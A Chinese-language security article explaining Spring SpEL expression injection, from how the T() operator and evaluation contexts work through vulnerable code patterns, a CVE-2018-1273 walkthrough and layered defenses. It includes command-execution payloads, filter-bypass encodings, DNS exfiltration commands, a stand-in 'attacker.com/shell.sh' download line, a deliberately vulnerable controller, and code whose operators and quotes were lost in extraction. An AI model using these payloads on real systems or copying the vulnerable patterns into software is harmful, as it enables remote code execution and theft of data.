Spring SpEL表达式注入漏洞深度解析:从原理到防御实战 1. 项目概述为什么SpEL表达式注入是Java安全的关键一环如果你是一名Java开发者尤其是使用Spring全家桶的那么“SpEL”这个词你一定不陌生。Spring Expression Language这个看似只是用来在配置文件里写点#{systemProperties[user.home]}小表达式的工具实际上却可能成为攻击者撬开你应用大门的“瑞士军刀”。我见过太多项目因为对SpEL的威力认识不足仅仅把它当作一个便捷的配置工具结果在代码的某个角落埋下了远程代码执行的“地雷”。今天我们就来彻底拆解SpEL表达式注入这不仅是Java安全面试的经典八股文更是每一个后端开发者必须掌握的实战防御技能。理解它你就能看懂很多Spring相关CVE漏洞的本质掌握它你就能在代码审查和架构设计阶段主动规避风险。这篇文章不会只停留在“如何弹出一个计算器”的漏洞演示上我会带你从SpEL的设计初衷、核心语法、安全机制演进一直深入到漏洞挖掘的实战思路和修复方案让你不仅知其然更知其所以然。2. SpEL核心机制深度解析不止是表达式求值要理解注入必须先理解其运行机制。SpEL绝非一个简单的字符串计算器它是Spring框架中一个功能完备的、图灵完备的表达式语言执行引擎。2.1 SpEL的三大使用场景与语法差异很多初学者会混淆SpEL在不同场景下的写法这是第一个容易踩坑的地方。2.1.1 在Java代码中直接使用这是最“原始”的用法通常用于动态求值。你需要手动创建ExpressionParser和EvaluationContext。import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser; import org.springframework.expression.Expression; public class DirectUsageDemo { public static void main(String[] args) { ExpressionParser parser new SpelExpressionParser(); // 场景1字面量表达式 Expression exp1 parser.parseExpression(Hello World); String result1 (String) exp1.getValue(); System.out.println(result1); // 输出Hello World // 场景2访问静态方法与属性T()操作符是关键 Expression exp2 parser.parseExpression(T(java.lang.Math).random() * 100.0); Double randomNum (Double) exp2.getValue(); System.out.println(randomNum); // 场景3实例化对象 Expression exp3 parser.parseExpression(new java.util.Date()); Date date (Date) exp3.getValue(); System.out.println(date); } }关键注意点在parseExpression方法参数中表达式字符串本身用双引号包裹而表达式内部的字符串字面量必须用单引号包裹。例如T(java.lang.Runtime).getRuntime().exec(calc)。这是与在XML或注解中使用的最大语法区别。2.1.2 在XML配置文件中使用在Spring的XML Bean定义中SpEL用于动态注入属性值使用#{expression}作为定界符。bean idmyDataSource classcom.zaxxer.hikari.HikariDataSource property namejdbcUrl value#{systemProperties[db.url] ?: jdbc:mysql://localhost:3306/test} / property namemaximumPoolSize value#{T(java.lang.Math).max(5, 10)} / /bean这里#{ ... }内的所有内容都会被Spring容器在初始化Bean时解析为SpEL表达式。这种场景下表达式字符串不需要再额外包裹引号。2.1.3 在注解中使用这是最常用也最易出问题的场景尤其是Value注解。Component public class ConfigComponent { // 注入系统属性 Value(#{systemProperties[java.home]}) private String javaHome; // 注入其他Bean的属性 Value(#{myService.defaultValue}) private String defaultValue; // 使用三元运算符进行条件注入 Value(#{environment[app.mode] prod ? production : development}) private String runtimeMode; }注解中的SpEL同样使用#{ ... }定界符。它的解析发生在Spring容器创建Bean、进行依赖注入的阶段。2.1.4 核心差异总结为什么强调这个区别因为在漏洞利用时payload的构造方式截然不同。在代码中直接parseExpression你的payload是一个完整的字符串而在注解或XML中payload是#{...}内部的内容。审计代码时你需要关注的是最终被ExpressionParser解析的字符串来源是否用户可控而不是它是否被#{}包裹。2.2 EvaluationContext安全与能力的开关EvaluationContext是SpEL表达式求值的上下文环境它定义了表达式可以访问的变量、函数、类型转换器等。Spring提供了两个主要实现它们的区别是SpEL安全问题的核心。2.2.1 StandardEvaluationContext全功能模式这是SpEL默认使用的上下文当你不显式指定时。它暴露了SpEL的全部功能集包括Java类型引用T(FullClassName)Bean引用beanName构造函数调用new赋值操作方法调用ExpressionParser parser new SpelExpressionParser(); StandardEvaluationContext context new StandardEvaluationContext(); // 在上下文中设置一个变量 context.setVariable(foo, I am foo); // 表达式可以访问这个变量并执行危险操作 Expression exp parser.parseExpression(#foo and T(java.lang.Runtime).getRuntime().exec(calc)); // 注意这里为了演示漏洞表达式本身是危险的。实际执行getValue(context)会触发命令执行。StandardEvaluationContext的强大带来了极大的安全隐患。如果攻击者能够控制表达式的字符串内容他们几乎可以执行任何Java代码。2.2.2 SimpleEvaluationContext受限安全模式从Spring Framework 4.3.15, 5.0.5, 5.1.2版本开始引入旨在提供一个安全的、功能受限的求值上下文。它不支持Java类型引用T()操作符Bean引用构造函数调用它主要用于数据绑定场景比如在Spring MVC中处理表单、或在Spring Data查询中安全地引用属性。ExpressionParser parser new SpelExpressionParser(); SimpleEvaluationContext context SimpleEvaluationContext.forReadOnlyDataBinding().build(); // 尝试解析一个危险表达式 Expression dangerousExp parser.parseExpression(T(java.lang.Runtime).getRuntime().exec(calc)); try { Object result dangerousExp.getValue(context); // 这里会抛出异常 // SpelEvaluationException: EL1004E: Method call: Method exec(java.lang.String) cannot be found on type java.lang.Runtime } catch (SpelEvaluationException e) { System.out.println(安全拦截成功: e.getMessage()); } // 但它仍然支持安全的属性访问和简单运算 context.setVariable(safeVar, 100); Expression safeExp parser.parseExpression(#safeVar * 2); Integer safeResult safeExp.getValue(context, Integer.class); // 正常返回200实操心得在绝大多数业务场景下尤其是处理用户输入动态构造表达式时如动态查询、规则引擎必须优先使用SimpleEvaluationContext。这是防止SpEL注入的第一道也是最有效的防线。检查历史代码将所有非必要的StandardEvaluationContext替换掉是安全加固的重要一步。2.3 SpEL的“魔力”来源T()操作符与类型解析T()操作符是SpEL中引用Java类的关键也是大多数漏洞利用的起点。它的完整形式是T(full.package.ClassName)。2.3.1 工作原理T()操作符告诉SpEL解析器“将括号内的字符串解析为一个java.lang.Class对象”。之后你就可以在这个类对象上调用静态方法或访问静态字段。Expression exp parser.parseExpression(T(java.lang.Runtime)); Class? runtimeClass (Class?) exp.getValue(); System.out.println(runtimeClass Runtime.class); // 输出true // 等价于Java反射中的 Class? clazz Class.forName(java.lang.Runtime);特殊优待对于java.lang包下的类可以省略包名。T(String)、T(Math)、T(Runtime)都是合法的。这为攻击者缩短payload长度提供了便利。2.3.2 为什么能调用静态方法这是SpEL引擎在背后做的“魔法”。当解析T(java.lang.Runtime).getRuntime()时SpEL先求值T(java.lang.Runtime)得到一个ClassRuntime对象。接着解析.getRuntime()。SpEL发现前面的求值结果是一个Class对象它会检查这个Class对象上是否存在名为getRuntime的静态方法。如果存在SpEL会通过Java反射机制java.lang.reflect.Method.invoke调用该方法。方法返回一个Runtime实例后续的.exec(“calc”)调用则是在这个实例上调用实例方法。整个过程完全在运行时动态完成不依赖于编译时的类型检查。这意味着只要表达式语法正确且上下文允许你可以调用任何类上的任何可访问方法。2.3.3 不仅仅是Runtime危险的类库很多文章只提Runtime.getRuntime().exec()但实际上危险类远不止于此。ProcessBuilder:T(java.lang.ProcessBuilder).start()是另一种命令执行方式。java.lang.ClassLoader: 可用于动态加载恶意字节码。java.io.File: 可进行文件读写、删除操作。javax.script.ScriptEngineManager: 可执行JavaScript等脚本语言绕过一些限制。java.net.Socket/URL: 可发起网络请求造成SSRF服务器端请求伪造。排查技巧在代码审计时不要只搜索T(java.lang.Runtime)。一个更有效的方法是搜索parseExpression方法调用并向上追溯其参数字符串的来源判断是否用户可控。3. SpEL表达式注入漏洞的实战挖掘与利用知道了原理我们来看看漏洞究竟是怎么产生的以及如何寻找和利用它们。3.1 漏洞产生的典型模式漏洞产生的核心模式永远只有一个用户输入未经充分过滤直接拼接到了SpEL表达式中并且该表达式使用StandardEvaluationContext或未指定Context即默认进行求值。3.1.1 模式一动态查询构造最常见常见于一些“高级搜索”或“规则引擎”功能。RestController public class VulnerableController { GetMapping(/search) public ListUser searchUsers(RequestParam String filter) { // 危险将用户输入的filter直接拼接到SpEL中 String expressionString users.![#this.name filter ]; ExpressionParser parser new SpelExpressionParser(); // 默认使用StandardEvaluationContext Expression exp parser.parseExpression(expressionString); // 假设有一个名为“users”的变量在context中 StandardEvaluationContext context new StandardEvaluationContext(); context.setVariable(users, userRepository.findAll()); return (ListUser) exp.getValue(context); } }攻击者可以传入filter参数为 T(java.lang.Runtime).getRuntime().exec(calc) 。拼接后的表达式变为users.![#this.name T(java.lang.Runtime).getRuntime().exec(calc) ]这会在比较用户名之前先执行命令。3.1.2 模式二注解中的动态值Value注解虽然方便但如果其值来自外部配置如数据库、环境变量且内容用户可控同样危险。// 假设从数据库读取配置某个配置项的值被恶意修改为#{T(java.lang.Runtime).getRuntime().exec(curl attacker.com/shell.sh)} Value(#{configService.getConfig(startup.command)}) private String startupCommand; // 在Bean属性注入时SpEL会被执行这种漏洞更隐蔽因为攻击链可能很长攻击者先通过其他漏洞如SQL注入修改了数据库中的配置值导致应用重启或该Bean被初始化时触发RCE。3.1.3 模式三表达式模板Spring提供了TemplateParserContext允许定义自定义的表达式定界符如#{...}。如果模板内容用户可控风险极高。public String processTemplate(String template) { ExpressionParser parser new SpelExpressionParser(); // 使用#{}作为表达式定界符的模板上下文 TemplateParserContext templateContext new TemplateParserContext(#{, }); // 用户传入的template可能包含#{...}表达式 Expression exp parser.parseExpression(template, templateContext); StandardEvaluationContext context new StandardEvaluationContext(); context.setVariable(user, currentUser); return exp.getValue(context, String.class); }如果用户传入Hello #{T(java.lang.Runtime).getRuntime().exec(calc)}, welcome!表达式部分将被解析执行。3.2 手工漏洞挖掘方法论对于白盒审计可以遵循以下路径入口点搜索在IDE或代码仓库中全局搜索以下关键词SpelExpressionParserExpressionParserparseExpressionValue(尤其关注其值是否为动态获取如#{${some.property}}这里存在属性解析后二次SpEL解析的风险)StandardEvaluationContext回溯数据流找到parseExpression的调用点后查看其参数表达式字符串的来源。是否直接来自HTTP请求参数HttpServletRequest.getParameter是否来自请求体RequestBody是否来自数据库查询结果是否来自文件读取或外部API调用关键判断这个来源是否可以被最终用户包括已登录用户以某种方式影响判断上下文查看getValue()方法调用时是否传入了EvaluationContext。如果没传使用的是默认的StandardEvaluationContext-高危。如果传了判断是否是SimpleEvaluationContext或其构建的受限上下文 -相对安全。如果传了StandardEvaluationContext但限制了变量、设置了TypeLocator或MethodResolver进行过滤 -需要具体分析。验证可利用性在测试环境构造一个无害的探测payload验证表达式是否被执行。无害payload示例T(java.lang.Thread).sleep(5000)。如果请求响应延迟了5秒说明存在SpEL注入且可以执行静态方法。或者T(java.lang.System).getProperty(user.dir)尝试读取系统属性并在响应中回显。3.3 绕过技巧与高级利用在实战中可能会遇到一些限制需要尝试绕过。3.3.1 字符串拼接与黑名单绕过如果开发人员简单过滤了Runtime、exec等关键词可以尝试字符串拼接T(java.lang.Runtime).getRuntime().exec(‘calc’)使用字符编码SpEL支持字符的十进制、八进制、十六进制表示。T(java.lang.Runtime).getRuntime().exec(‘calc’)可以写成T(java.lang.Runtime).getRuntime().exec(‘\u0063\u0061\u006c\u0063’)(Unicode)T(java.lang.Runtime).getRuntime().exec(‘\143\141\154\143’)(八进制需加反斜杠)使用反射链如果T()被禁用可以尝试通过其他方式获取类。.class.forName(java.lang.Runtime).getMethod(getRuntime).invoke(null).exec(calc)这利用了字符串字面量的class属性获取Class对象再通过反射调用。3.3.2 无回显命令执行与出网检测很多时候命令执行没有回显。我们需要判断命令是否成功。延时判断Sleep如前所述T(java.lang.Thread).sleep(10000)。DNS外带DNS Exfiltration这是最常用的出网检测和数据外带方法。T(java.lang.Runtime).getRuntime().exec(ping -c 1 your-dns-log-domain.com)T(java.lang.Runtime).getRuntime().exec(nslookup $(whoami).your-dns-log-domain.com)在VPS上监听DNS日志如果收到解析请求证明命令执行成功且能出网。HTTP请求外带使用curl、wget或编写简单的Java代码发起HTTP请求将命令结果带到参数或URL中。3.3.3 内存马与持久化利用在Web环境下成功RCE后攻击者往往不满足于执行单条命令他们会尝试写入内存马如Filter型、Controller型内存马以实现持久化访问。 利用SpEL可以做到获取当前Web应用的ServletContext或ApplicationContext。动态注册恶意的Filter或Controller。 这个过程需要较复杂的SpEL表达式涉及对Spring内部容器的理解但原理上完全可行。这提醒我们SpEL注入的危害等级通常是“严重”Critical。4. 从防御到根治SpEL安全编码最佳实践了解了攻击防御思路就清晰了。防御是一个多层次的过程。4.1 第一层使用安全的EvaluationContext黄金法则除非业务绝对需要SpEL的完整功能否则一律使用SimpleEvaluationContext。// 正确的做法用于数据绑定或简单表达式 ExpressionParser parser new SpelExpressionParser(); SimpleEvaluationContext context SimpleEvaluationContext.forReadOnlyDataBinding().build(); // 或用于属性访问 // SimpleEvaluationContext context SimpleEvaluationContext.forPropertyAccessors(...).build(); Expression exp parser.parseExpression(userControlledInput); // 假设输入来自外部 try { Object result exp.getValue(context); // 此处会安全地失败如果输入包含危险操作 } catch (SpelEvaluationException e) { // 记录日志返回错误信息给用户 log.warn(非法表达式输入: {}, userControlledInput, e); throw new IllegalArgumentException(表达式无效); }SimpleEvaluationContext通过限制可访问的类、方法和属性从根本上切断了大多数危险操作。4.2 第二层输入验证与白名单如果业务确实需要使用StandardEvaluationContext的部分高级功能如调用特定工具类的静态方法则必须对输入进行严格的验证。4.2.1 表达式语法白名单定义一个允许的表达式模式集合。import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser; import org.springframework.expression.spel.SpelNode; import org.springframework.expression.spel.ast.*; public class SafeSpELProcessor { private static final SetString ALLOWED_STATIC_CLASSES Set.of( java.lang.Math, java.time.LocalDate, com.company.utils.StringUtils // 只允许业务需要的工具类 ); private static final SetString ALLOWED_METHODS Set.of( abs, max, min, sqrt, // Math的方法 now, parse, // LocalDate的方法 isEmpty, capitalize // 自定义工具类方法 ); public static Object evaluateSafely(String expressionStr, StandardEvaluationContext context) { ExpressionParser parser new SpelExpressionParser(); Expression exp parser.parseExpression(expressionStr); // 获取表达式的AST抽象语法树进行静态分析 SpelNode ast ((SpelExpression) exp).getAST(); if (!isExpressionSafe(ast)) { throw new SecurityException(表达式包含不允许的语法或调用。); } return exp.getValue(context); } private static boolean isExpressionSafe(SpelNode node) { // 递归遍历AST节点 if (node instanceof MethodReference) { // 检查方法调用 MethodReference methodRef (MethodReference) node; String methodName methodRef.getName(); // 这里需要更复杂的逻辑来获取方法所属的类简化示例 // 实际中需要解析方法调用的目标对象 if (!ALLOWED_METHODS.contains(methodName)) { return false; } } else if (node instanceof TypeReference) { // 检查T()类型引用 TypeReference typeRef (TypeReference) node; String typeName typeRef.getTypeName(); if (!ALLOWED_STATIC_CLASSES.contains(typeName)) { return false; } } else if (node instanceof ConstructorReference) { // 禁止new操作符 return false; } // 递归检查所有子节点 for (int i 0; i node.getChildCount(); i) { if (!isExpressionSafe(node.getChild(i))) { return false; } } return true; } }这是一个简化的示例实际的白名单验证需要更精细地解析AST考虑属性访问路径等。可以考虑使用SpelExpression的getAST()方法获取语法树节点进行分析。4.2.2 沙箱环境复杂但彻底对于需要执行不可信表达式的场景可以考虑在独立的、受限的沙箱JVM进程中执行SpEL表达式。通过Java安全管理器SecurityManager或现代模块系统JPMS来限制沙箱进程的权限如禁止文件读写、禁止网络访问、禁止执行命令。这属于重量级方案适用于规则引擎等核心业务。4.3 第三层依赖管理与全局配置4.3.1 升级Spring框架版本确保使用的Spring Framework版本至少是以下安全版本之一Spring Framework 4.3.15 或更高版本4.x系列Spring Framework 5.0.5 或更高版本5.0.x系列Spring Framework 5.1.2 或更高版本5.1.x系列 这些版本引入了SimpleEvaluationContext并为修复相关CVE如CVE-2018-1273提供了基础。4.3.2 全局默认上下文配置谨慎使用理论上你可以通过自定义SpelExpressionParser或覆盖Spring的默认配置来全局设置一个更安全的默认EvaluationContext。但这种方式侵入性强可能影响框架其他部分的功能需全面测试。Configuration public class SpelSecurityConfig { Bean public SpelExpressionParser spelExpressionParser() { // 注意这会影响整个应用中通过此Parser解析的表达式需谨慎评估影响。 return new SpelExpressionParser() { Override public Expression parseExpression(String expressionString) throws ParseException { Expression exp super.parseExpression(expressionString); // 可以在这里包裹一层强制使用SimpleEvaluationContext // 但getValue()时传入的context会覆盖默认行为所以此方法不彻底。 return exp; } }; } }更推荐的方式是在业务代码层面进行规范明确要求使用SimpleEvaluationContext。4.4 第四层安全开发规范与代码审查制定规范在团队内部明确禁止在用户输入可控的场景下使用StandardEvaluationContext。将SimpleEvaluationContext的使用写入开发规范。代码审查重点在CR环节将ExpressionParser、Value动态值、parseExpression等关键词列为高危审查点。重点审查表达式字符串的拼接逻辑。自动化扫描集成SAST静态应用安全测试工具到CI/CD流程中。工具如SpotBugs配合findsecbugs插件可以检测常见的SpEL注入模式。虽然可能有误报但能提供有效的预警。安全测试在渗透测试或自动化安全测试中加入SpEL注入的测试用例。尝试向所有可能的参数查询参数、请求体、Header、Cookie中插入探测payload如#{11}、${11}有时也会被解析、T(java.lang.Thread).sleep(5000)。5. 经典CVE案例复盘CVE-2018-1273让我们通过一个真实案例来串联所有知识点。CVE-2018-1273是Spring Data Commons组件中的一个SpEL注入漏洞影响广泛。漏洞简述当Spring Data REST暴露的Repository接口处理PATCH请求时如果用户传入的JSON数据中包含包含恶意SpEL表达式的字段名该表达式会被解析执行。漏洞代码分析简化版 在org.springframework.data.rest.webmvc.RepositoryPropertyReferenceController中处理PATCH请求更新实体属性时会调用org.springframework.data.repository.support.PropertyReferenceBindingResult。其中在解析属性路径property path时会对路径中的特殊符号如[,]进行处理并最终将部分路径片段作为SpEL表达式进行求值且使用了StandardEvaluationContext。攻击Payloadcurl -X PATCH http://vulnerable-host/users/1 -H Content-Type: application/json -d {name[ T(java.lang.Runtime).getRuntime().exec(calc.exe) ]: hacked}攻击者构造了一个畸形的字段名name[ T(java.lang.Runtime).getRuntime().exec(calc.exe) ]。服务端在解析时试图将这个字段名的一部分作为SpEL表达式求值导致了命令执行。修复方案 Spring官方修复此漏洞的方式是双管齐下将StandardEvaluationContext替换为SimpleEvaluationContext在PropertyReferenceBindingResult相关的代码中将求值上下文改为功能受限的SimpleEvaluationContext禁用了危险的T()操作符和构造函数调用。加强输入过滤对传入的路径表达式进行了更严格的验证和清理。从该案例中学到的漏洞点可能很隐蔽不是直接的parseExpression调用而是框架底层对用户数据的间接处理。输入向量可能很奇特攻击载荷在字段名key中而不是字段值value。修复是分层的既采用了更安全的上下文治本也加强了输入验证治标。6. 总结与个人实战心得SpEL表达式注入的本质是“代码注入”的一种其危害性与SQL注入、OS命令注入等同甚至更严重因为它直接赋予了攻击者在应用运行时执行任意Java代码的能力。经过这么多年的发展和安全意识的提升纯粹因为直接拼接用户输入到parseExpression而产生的漏洞已经较少见了。但现在更常见的是以下几种“变体”框架底层自动解析导致的漏洞就像CVE-2018-1273开发者甚至没有显式地写SpEL解析代码但框架在某些特性如数据绑定、属性映射中使用了它。这就要求我们不仅要审查自己的代码还要了解所用框架的特性与潜在风险。配置文件中引入的漏洞通过环境变量、配置中心动态覆盖的Value注解值。确保配置来源可信并对从外部获取的配置值进行安全检查。“安全”上下文下的绕过即使使用了SimpleEvaluationContext如果表达式本身可以通过复杂的属性访问链最终调用到危险方法虽然很难或者存在拒绝服务DoS的可能如‘aaaaaaaaaaaaaaaaaaaaaaaa!’ matches ‘^(a)$’这种正则表达式ReDoS风险依然存在。在我的审计和开发经验中最有效的策略永远是“最小权限原则”和“默认拒绝”对于SpEL默认认为它是危险的。任何使用SpEL的地方首先问“这里是否必须用SpEL有没有更简单的字符串处理或逻辑判断可以替代”如果必须用那么默认使用SimpleEvaluationContext并像对待SQL语句一样对表达式“参数化”——如果可能使用预定义的表达式模板将用户输入作为变量#variable传入而不是拼接字符串。依赖管理保持Spring框架及相关组件Spring Data, Spring Security等更新到最新稳定版。很多安全修复是通过版本升级引入的。深度防御在网关层、应用层做好通用的输入验证和输出编码。虽然不能直接防住SpEL注入但可以增加攻击门槛。最后分享一个排查小技巧当你怀疑某处存在SpEL注入但无法确定时可以尝试在表达式中使用T(java.lang.System).out.println(‘test’)。如果服务端的标准输出流比如Tomcat的catalina.out日志中出现了test那么注入点就坐实了。当然在生产环境要慎用最好在测试环境进行。安全是一个持续的过程理解像SpEL注入这样的底层原理能帮助我们在面对层出不穷的新框架、新特性时保持一份警惕更快地识别出潜在的风险模式。